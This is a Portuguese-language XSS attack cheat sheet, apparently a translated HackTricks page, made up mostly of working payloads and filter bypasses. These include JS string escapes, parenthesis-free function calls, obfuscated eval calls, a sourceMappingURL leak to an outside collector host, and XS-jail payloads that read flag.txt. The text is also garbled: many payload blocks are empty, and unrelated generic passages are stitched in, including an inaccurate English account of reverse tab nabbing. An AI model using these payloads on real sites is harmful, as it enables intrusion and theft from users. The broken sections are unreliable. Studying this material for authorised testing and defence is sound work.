# XSS (Cross Site Scripting) / **Dica de recompensa por bugs**: **cadastre-se** no **Intigriti**, uma plataforma premium de **recompensa por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100.000**! {% embed url="https://go.intigriti.com/hacktricks" %} ## Metodologia 1. Verifique se **qualquer valor que você controle** (_parâmetros_, _caminho_, _cabeçalhos_?, _cookies_?) está sendo **refletido** no HTML ou **usado** pelo código **JS**. 2. **Encontre o contexto** onde ele está sendo refletido/usado. 3. Se **refletido** 1. Verifique **quais símbolos você pode usar** e, dependendo disso, prepare o payload: 1. Em **HTML bruto**: 1. Você pode criar novas tags HTML? 2. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`? 3. Você pode contornar proteções? 4. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você pode abusar de uma [**Injeção de Modelo do Lado do Cliente**](../client-side-template-injection-csti.md). 5. Se você não pode criar tags HTML que executam código JS, você pode abusar de uma [**Marcação Pendente - Injeção HTML sem script**](../dangling-markup-html-scriptless-injection.md)? 2. Dentro de uma **tag HTML**: 1. Você pode sair para o contexto HTML bruto? 2. Você pode criar novos eventos/atributos para executar código JS? 3. O atributo em que você está preso suporta execução de JS? 4. Você pode contornar proteções? 3. Dentro do código **JavaScript**: 1. Você pode escapar da tag ``** de uma página HTML, dentro de um arquivo `.js` ou dentro de um atributo usando o protocolo **`javascript:`**: * Se refletido entre as tags **``**, mesmo que seu input esteja dentro de qualquer tipo de aspas, você pode tentar injetar `` e escapar desse contexto. Isso funciona porque o **navegador primeiro analisará as tags HTML** e depois o conteúdo, portanto, não perceberá que sua tag `` injetada está dentro do código HTML. * Se refletido **dentro de uma string JS** e o último truque não estiver funcionando, você precisará **sair** da string, **executar** seu código e **reconstruir** o código JS (se houver algum erro, ele não será executado): * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` * Se refletido dentro de literais de modelo, você pode **incorporar expressões JS** usando a sintaxe `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` * A **codificação Unicode** funciona para escrever **código JavaScript válido**: ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` #### Elevação de Javascript A Elevação de Javascript refere-se à oportunidade de **declarar funções, variáveis ou classes depois de serem usadas**. Portanto, se você tiver cenários em que pode **injetar código JS depois de um objeto não declarado** ser usado, você pode **corrigir a sintaxe** declarando-o (para que seu código seja executado em vez de gerar um erro): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); // You can define it in your injection to execute JS //Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b '-alert(1)-''); function vulnerableFunction(a,b){return 1}; //Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1) test'); function vulnerableFunction(a,b){ return 1 };alert(1) ``` ```javascript // If a variable is not defined, you could define it in the injection // In the following example var a is not defined function myFunction(a,b){ return 1 }; myFunction(a, '') //Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b test'); var a = 1; alert(1); ``` ```javascript // If an undeclared class is used, you cannot declare it AFTER being used var variable = new unexploitableClass(); // But you can actually declare it as a function, being able to fix the syntax with something like: function unexploitableClass() { return 1; } alert(1); ``` ```javascript // Properties are not hoisted // So the following examples where the 'cookie' attribute doesn´t exist // cannot be fixed if you can only inject after that code: test.cookie('leo','INJECTION') test['cookie','injection'] ``` Para obter mais informações sobre o Hoisting do JavaScript, verifique: [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios) ### Função JavaScript Várias páginas da web têm endpoints que **aceitam como parâmetro o nome da função a ser executada**. Um exemplo comum de se ver na prática é algo como: `?callback=callbackFunc`. Uma boa maneira de descobrir se algo fornecido diretamente pelo usuário está tentando ser executado é **modificar o valor do parâmetro** (por exemplo, para 'Vulnerable') e procurar no console por erros como: ![](<../../.gitbook/assets/image (651) (2).png>) Caso esteja vulnerável, você pode ser capaz de **disparar um alerta** apenas enviando o valor: **`?callback=alert(1)`**. No entanto, é muito comum que esses endpoints **validem o conteúdo** para permitir apenas letras, números, pontos e sublinhados (**`[\w\._]`**). No entanto, mesmo com essa limitação, ainda é possível realizar algumas ações. Isso ocorre porque você pode usar esses caracteres válidos para **acessar qualquer elemento no DOM**: ![](<../../.gitbook/assets/image (662).png>) Algumas funções úteis para isso: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` Você também pode tentar **acionar funções Javascript** diretamente: `obj.sales.delOrders`. No entanto, geralmente os endpoints que executam a função indicada são endpoints sem muito DOM interessante, **outras páginas na mesma origem** terão um DOM **mais interessante** para realizar mais ações. Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, foi desenvolvida a exploração de **Execução de Método na Mesma Origem (SOME, na sigla em inglês)**: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) {% endcontent-ref %} ### DOM Há **código JS** que está usando de forma **insegura** alguns **dados controlados por um invasor**, como `location.href`. Um invasor pode abusar disso para executar código JS arbitrário. {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} ### **XSS Universal** Esse tipo de XSS pode ser encontrado **em qualquer lugar**. Eles não dependem apenas da exploração do cliente de um aplicativo da web, mas de **qualquer** **contexto**. Esse tipo de **execução arbitrária de JavaScript** pode até ser abusado para obter **RCE**, **ler** **arquivos** **arbitrários** em clientes e servidores, e muito mais.\ Alguns **exemplos**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} {% content-ref url="../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/" %} [xss-to-rce-electron-desktop-apps](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/) {% endcontent-ref %} ## Bypass de WAF codificando imagem ![de https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg) ## Injetando dentro de HTML bruto Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar do `<` para criar novas tags: apenas tente **refletir** esse **caractere** e verifique se ele está sendo **codificado em HTML** ou **removido** ou se está sendo **refletido sem alterações**. **Somente nesse último caso você poderá explorar esse caso**.\ Para esses casos, também **tenha em mente** a [**Injeção de Modelo do Lado do Cliente**](../client-side-template-injection-csti.md)**.**\ _**Observação: Um comentário HTML pode ser fechado usando\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***** ****`-->`**** ****ou \*\*\*\*****`--!>`**_ Nesse caso, e se não houver uso de listas negras/listas brancas, você pode usar payloads como: ```javascript ``` Mas, se estiver sendo utilizado um sistema de lista negra/branca de tags/atributos, você precisará **forçar a entrada para descobrir quais tags** você pode criar.\ Depois de **localizar quais tags são permitidas**, você precisará **forçar a entrada de atributos/eventos** dentro das tags válidas encontradas para ver como pode atacar o contexto. ### Forçando tags/eventos Acesse [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copiar tags para a área de transferência**_. Em seguida, envie todas elas usando o Burp Intruder e verifique se alguma tag não foi identificada como maliciosa pelo WAF. Depois de descobrir quais tags você pode usar, você pode **forçar a entrada de todos os eventos** usando as tags válidas (na mesma página da web, clique em _**Copiar eventos para a área de transferência**_ e siga o mesmo procedimento anterior). ### Tags personalizadas Se você não encontrou nenhuma tag HTML válida, pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, você precisa terminar a URL com `#` para fazer a página **focar nesse objeto** e **executar** o código: ``` /?search=#x ``` ### Bypassando Listas Negras Se estiver sendo utilizada alguma lista negra, você pode tentar contorná-la com alguns truques bobos: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Observe que se você tentar **usar ambos** `URLencode + HTMLencode` em qualquer ordem para codificar a **carga útil**, isso **não funcionará**, mas você pode **misturá-los dentro da carga útil**. **Usando codificação Hexadecimal e Octal com `javascript:`** Você pode usar a codificação **Hexadecimal** e **Octal** dentro do atributo `src` do `iframe` (pelo menos) para declarar **tags HTML para executar JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Reverse tab nabbing Reverse tab nabbing is a type of cross-site scripting (XSS) attack that targets users who have multiple tabs open in their web browser. The attack takes advantage of the trust users have in the websites they visit. When a user opens a new tab and navigates to a different website, the original website can still execute JavaScript code in the background. This allows an attacker to modify the content of the original website and display a phishing page or malicious content. To perform a reverse tab nabbing attack, the attacker first injects malicious code into a vulnerable website. This code typically includes a JavaScript function that detects when the user switches tabs. When the user switches to a different tab, the malicious code modifies the content of the original website to display the attacker's phishing page. The phishing page is designed to look like a legitimate website, such as a login page for a popular service. When the user enters their credentials on the phishing page, the attacker captures the information and can use it for malicious purposes. To protect against reverse tab nabbing attacks, users should be cautious when switching between tabs and ensure they only enter sensitive information on trusted websites. Website owners should also implement security measures, such as input validation and output encoding, to prevent XSS vulnerabilities that can be exploited for reverse tab nabbing attacks. ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS em "Tags não exploráveis" (input oculto, link, canonical, meta) A partir [**daqui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags), agora é possível abusar de inputs ocultos com: ```html
Newsletter popup
``` A partir [**daqui**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **payload XSS dentro de um atributo oculto**, desde que você possa **persuadir** a **vítima** a pressionar a **combinação de teclas**. No Firefox Windows/Linux, a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo de chave de acesso. Aqui está o vetor: ```markup ``` **A carga XSS será algo como isto: `" accesskey="x" onclick="alert(1)" x="`** ### Bypasses de Lista Negra Vários truques usando diferentes codificações já foram expostos nesta seção. Volte para aprender onde você pode usar: * **Codificação HTML (tags HTML)** * **Codificação Unicode (pode ser código JS válido):** `\u0061lert(1)` * **Codificação de URL** * **Codificação Hexadecimal e Octal** * **Codificação de dados** **Bypasses para tags e atributos HTML** Leia os [Bypasses de Lista Negra da seção anterior](./#blacklist-bypasses). **Bypasses para código JavaScript** Leia os [bypasses de lista negra de JavaScript da seção seguinte](./#javascript-bypass-blacklists-techniques). ### CSS-Gadgets Se você encontrou um **XSS em uma parte muito pequena** da web que requer algum tipo de interação (talvez um pequeno link no rodapé com um elemento onmouseover), você pode tentar **modificar o espaço que o elemento ocupa** para maximizar as probabilidades de o link ser acionado. Por exemplo, você poderia adicionar algum estilo no elemento como: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Mas, se o WAF estiver filtrando o atributo de estilo, você pode usar CSS Styling Gadgets, então se você encontrar, por exemplo > .test {display:block; color: blue; width: 100%\} e > \#someid {top: 0; font-family: Tahoma;} Agora você pode modificar nosso link e levá-lo para a forma > \ Este truque foi retirado de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## Injetando dentro do código JavaScript Nesses casos, sua **entrada** será **refletida dentro do código JS** de um arquivo `.js` ou entre as tags `` ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo `javascript:`. ### Escapando a tag \`, você pode facilmente **escapar fechando a tag ` ``` Observe que neste exemplo **nem mesmo fechamos a aspa simples**, mas isso não é necessário, pois o **navegador primeiro realiza a análise HTML** para identificar os elementos da página, incluindo blocos de script, e só depois realiza a análise JavaScript para entender e executar os scripts incorporados. ### Dentro do código JS Se `<>` estiverem sendo sanitizados, ainda é possível **escapar a string** onde sua entrada está sendo **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe do JS**, pois se houver erros, o código JS não será executado: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Template literals \`\` Para construir **strings** além de aspas simples e duplas, o JS também aceita **backticks** **` `` `**. Isso é conhecido como template literals, pois permite **incorporar expressões JS** usando a sintaxe `${ ... }`.\ Portanto, se você perceber que sua entrada está sendo **refletida** dentro de uma string JS que está usando backticks, você pode abusar da sintaxe `${ ... }` para executar **código JS arbitrário**: Isso pode ser **abusado** usando: ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` ``` ```````````````javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop(){return loop} loop`````````````` ``````````````` ### Execução de código codificado Cross-site scripting (XSS) é uma vulnerabilidade comum em aplicações web que permite que um atacante injete código malicioso em páginas da web visualizadas por outros usuários. Uma forma de explorar essa vulnerabilidade é através da execução de código codificado. #### Descrição A execução de código codificado ocorre quando um atacante consegue injetar código malicioso em uma página da web que é exibida para outros usuários. O código injetado é geralmente codificado para evitar a detecção pelos filtros de segurança. Existem várias técnicas de codificação que podem ser usadas para explorar essa vulnerabilidade, incluindo a codificação HTML, a codificação JavaScript e a codificação URL. O objetivo é enganar o navegador do usuário para que ele interprete o código injetado como parte da página legítima. Uma vez que o código malicioso é executado no navegador do usuário, o atacante pode realizar uma série de ações prejudiciais, como roubar informações confidenciais, redirecionar o usuário para sites maliciosos ou executar comandos no contexto do usuário. #### Prevenção Para prevenir a execução de código codificado, é importante implementar práticas de segurança adequadas em seu aplicativo web: - Valide e sanitize todos os dados de entrada antes de exibi-los em páginas da web. - Utilize mecanismos de escape apropriados para evitar a interpretação incorreta de caracteres especiais. - Implemente uma política de segurança de conteúdo (CSP) para restringir quais recursos externos podem ser carregados em sua página. - Mantenha seu software atualizado, incluindo frameworks e bibliotecas utilizadas em seu aplicativo web. - Realize testes de segurança regulares, como pentests, para identificar e corrigir vulnerabilidades antes que sejam exploradas por atacantes. Ao seguir essas práticas recomendadas, você pode reduzir significativamente o risco de execução de código codificado em seu aplicativo web. ```markup ``` **Javascript dentro de um comentário** Quando se trata de ataques de Cross-Site Scripting (XSS), é importante estar ciente de que o código JavaScript pode ser injetado não apenas em campos de entrada de dados, mas também em comentários. Isso ocorre porque os comentários em HTML não são processados pelo navegador, mas ainda são visíveis no código-fonte da página. Os atacantes podem explorar essa vulnerabilidade inserindo código JavaScript malicioso dentro de um comentário HTML. Embora o código não seja executado pelo navegador, ele pode ser usado para roubar informações confidenciais ou redirecionar os usuários para sites maliciosos. Para evitar esse tipo de ataque, é fundamental garantir que todos os dados de entrada sejam devidamente validados e sanitizados antes de serem exibidos na página. Além disso, é recomendável implementar uma política de segurança de conteúdo (Content Security Policy - CSP) para restringir o uso de scripts em uma página. Lembre-se de que os comentários também podem ser uma fonte potencial de vazamento de informações sensíveis, portanto, é importante revisar e remover qualquer informação confidencial antes de implantar um site ou aplicativo. ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript sem parênteses** O XSS (Cross-Site Scripting) é uma vulnerabilidade comum em aplicações web que permite que um invasor injete código JavaScript malicioso em páginas da web visualizadas por outros usuários. Uma técnica comum usada em ataques XSS é explorar a capacidade do JavaScript de ser executado sem a necessidade de parênteses. Quando o código JavaScript é inserido em um campo de entrada não sanitizado, ele pode ser interpretado e executado pelo navegador do usuário. No entanto, para evitar a detecção, os invasores podem usar técnicas para contornar a necessidade de parênteses, tornando o código mais difícil de ser identificado e bloqueado. Existem várias maneiras de escrever código JavaScript sem parênteses, como usar operadores lógicos, operadores de atribuição e até mesmo a função `eval()`. Essas técnicas permitem que o código seja executado sem a necessidade de parênteses, tornando-o mais difícil de ser detectado por filtros de segurança. É importante que os desenvolvedores estejam cientes dessa técnica e implementem medidas de segurança adequadas para evitar ataques XSS. Isso inclui a sanitização correta de entradas de usuário, a validação de dados e a implementação de filtros de segurança para detectar e bloquear tentativas de injeção de código malicioso. Ao entender como o JavaScript pode ser executado sem parênteses, os desenvolvedores podem fortalecer a segurança de suas aplicações web e proteger os usuários contra ataques XSS. ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Chamada de função arbitrária (alerta)** ````javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ```` ## **Vulnerabilidades DOM** Existe **código JS** que está usando **dados controlados por um atacante de forma insegura**, como `location.href`. Um atacante pode abusar disso para executar código JS arbitrário.\ **Devido à extensão da explicação das** [**vulnerabilidades DOM, ela foi movida para esta página**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} Lá você encontrará uma explicação detalhada sobre o que são as **vulnerabilidades DOM, como elas são provocadas e como explorá-las**.\ Além disso, não se esqueça que **no final do post mencionado** você pode encontrar uma explicação sobre [**ataques de Clobbering DOM**](dom-xss.md#dom-clobbering). ## Outros Bypasses ### Unicode Normalizado Você pode verificar se os **valores refletidos** estão sendo **normalizados em unicode** no servidor (ou no lado do cliente) e abusar dessa funcionalidade para contornar as proteções. [**Encontre um exemplo aqui**](../unicode-injection/#xss-cross-site-scripting). ### Bypass do sinalizador PHP FILTER\_VALIDATE\_EMAIL ```javascript ">"@x.y ``` ### Bypass do Ruby-On-Rails Devido à **atribuição em massa do RoR**, aspas são inseridas no HTML e, em seguida, a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\ Por exemplo de formulário ([desse relatório](https://hackerone.com/reports/709336)), se você enviar o payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` O par "Key","Value" será ecoado de volta assim: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` Em seguida, o atributo onfocus será inserido: ![](<../../.gitbook/assets/image (107).png>) Ocorre um XSS. ### Combinações especiais ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) ``` ### XSS com injeção de cabeçalho em uma resposta 302 Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar fazer com que o navegador execute JavaScript arbitrário. Isso não é trivial, pois os navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, portanto, apenas uma carga útil de script entre sites é inútil. Neste [**relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/), você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute a carga útil de XSS dentro do corpo.\ Protocolos conhecidos anteriormente: `mailto://`, `//x:1/`, `ws://`, `wss://`, cabeçalho Location vazio, `resource://`. ### Apenas letras, números e pontos Se você puder indicar o **callback** que o JavaScript vai **executar** limitado a esses caracteres. [**Leia esta seção deste post**](./#javascript-function) para descobrir como abusar desse comportamento. ### Tipos de conteúdo ` ``` A resposta é: * **módulo** (padrão, nada a explicar) * \*\*\*\*[**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS...) em um arquivo **`.wbn`**. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` * \*\*\*\*[**importmap**](https://github.com/WICG/import-maps)**:** Permite melhorar a sintaxe de importação ```html ``` Esse comportamento foi utilizado neste [**relatório**](https://github.com/zwade/yaca/tree/master/solution) para remapear uma biblioteca para eval e abusá-la, podendo desencadear XSS. * \*\*\*\*[**speculationrules**](https://github.com/WICG/nav-speculation)**:** Essa funcionalidade é principalmente para resolver alguns problemas causados pelo pré-renderização. Ela funciona da seguinte forma: ```html ``` ### Tipos de Conteúdo da Web para XSS (De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores: * text/html * application/xhtml+xml * application/xml * text/xml * image/svg+xml * text/plain (?? não está na lista, mas acho que vi isso em um CTF) * application/rss+xml (desativado) * application/atom+xml (desativado) Em outros navegadores, outros **`Tipos de Conteúdo`** podem ser usados para executar JS arbitrário, verifique: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### Tipo de Conteúdo xml Se a página estiver retornando um tipo de conteúdo text/xml, é possível indicar um namespace e executar JS arbitrário: ```xml hello ``` ### Padrões Especiais de Substituição Quando algo como **`"alguns dados {{template}}".replace("{{template}}", )`** é usado. O atacante pode usar [**substituições especiais de string**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) para tentar contornar algumas proteções: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` Por exemplo, neste [**artigo**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), isso foi usado para **escapar uma string JSON** dentro de um script e executar código arbitrário. ### Cache do Chrome para XSS ### XS Jails Se você só tem um conjunto limitado de caracteres para usar, verifique essas outras soluções válidas para problemas do XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` ### Ofuscação e Bypass Avançado * **Diferentes ofuscações em uma página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [http://www.jsfuck.com/](http://www.jsfuck.com) * JSFuck mais sofisticado: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ```javascript //aaencode # XSS (Cross-Site Scripting) ## Descrição O XSS (Cross-Site Scripting) é uma vulnerabilidade comum em aplicações web que permite que um atacante injete scripts maliciosos em páginas web visualizadas por outros usuários. Esses scripts podem ser usados para roubar informações confidenciais, como cookies de autenticação, redirecionar o usuário para sites maliciosos ou executar ações indesejadas em nome do usuário. Existem três tipos principais de XSS: 1. **Reflected XSS**: O payload malicioso é incluído na solicitação HTTP e é refletido de volta na resposta HTML. 2. **Stored XSS**: O payload malicioso é armazenado no servidor e é exibido para todos os usuários que acessam a página afetada. 3. **DOM-based XSS**: O payload malicioso é injetado no DOM (Modelo de Objeto de Documento) e é executado no lado do cliente. ## Como explorar o XSS Para explorar uma vulnerabilidade de XSS, um atacante precisa identificar um ponto de entrada onde o código injetado não é devidamente sanitizado ou escapado. Alguns exemplos comuns de pontos de entrada incluem campos de formulário, URLs, cabeçalhos HTTP e cookies. Uma vez identificado o ponto de entrada, o atacante pode inserir um payload malicioso contendo código JavaScript. Esse código será executado no contexto do usuário que visualiza a página, permitindo que o atacante execute ações indesejadas. ## Prevenção do XSS Para prevenir ataques de XSS, é importante implementar práticas de segurança adequadas, como: - **Sanitização de entrada**: Certifique-se de que todos os dados de entrada sejam devidamente sanitizados e escapados antes de serem exibidos em páginas web. - **Validação de entrada**: Verifique se os dados de entrada atendem aos critérios esperados antes de processá-los. - **Utilização de cabeçalhos de segurança**: Configure cabeçalhos HTTP, como o Content-Security-Policy, para restringir o carregamento de scripts de fontes não confiáveis. - **Codificação correta**: Use funções de codificação adequadas ao exibir dados em páginas web, como htmlspecialchars() em PHP ou encodeURI() em JavaScript. ## Exemplo de Payload de XSS O seguinte exemplo demonstra um payload de XSS básico: ```html ``` Este código injeta um script 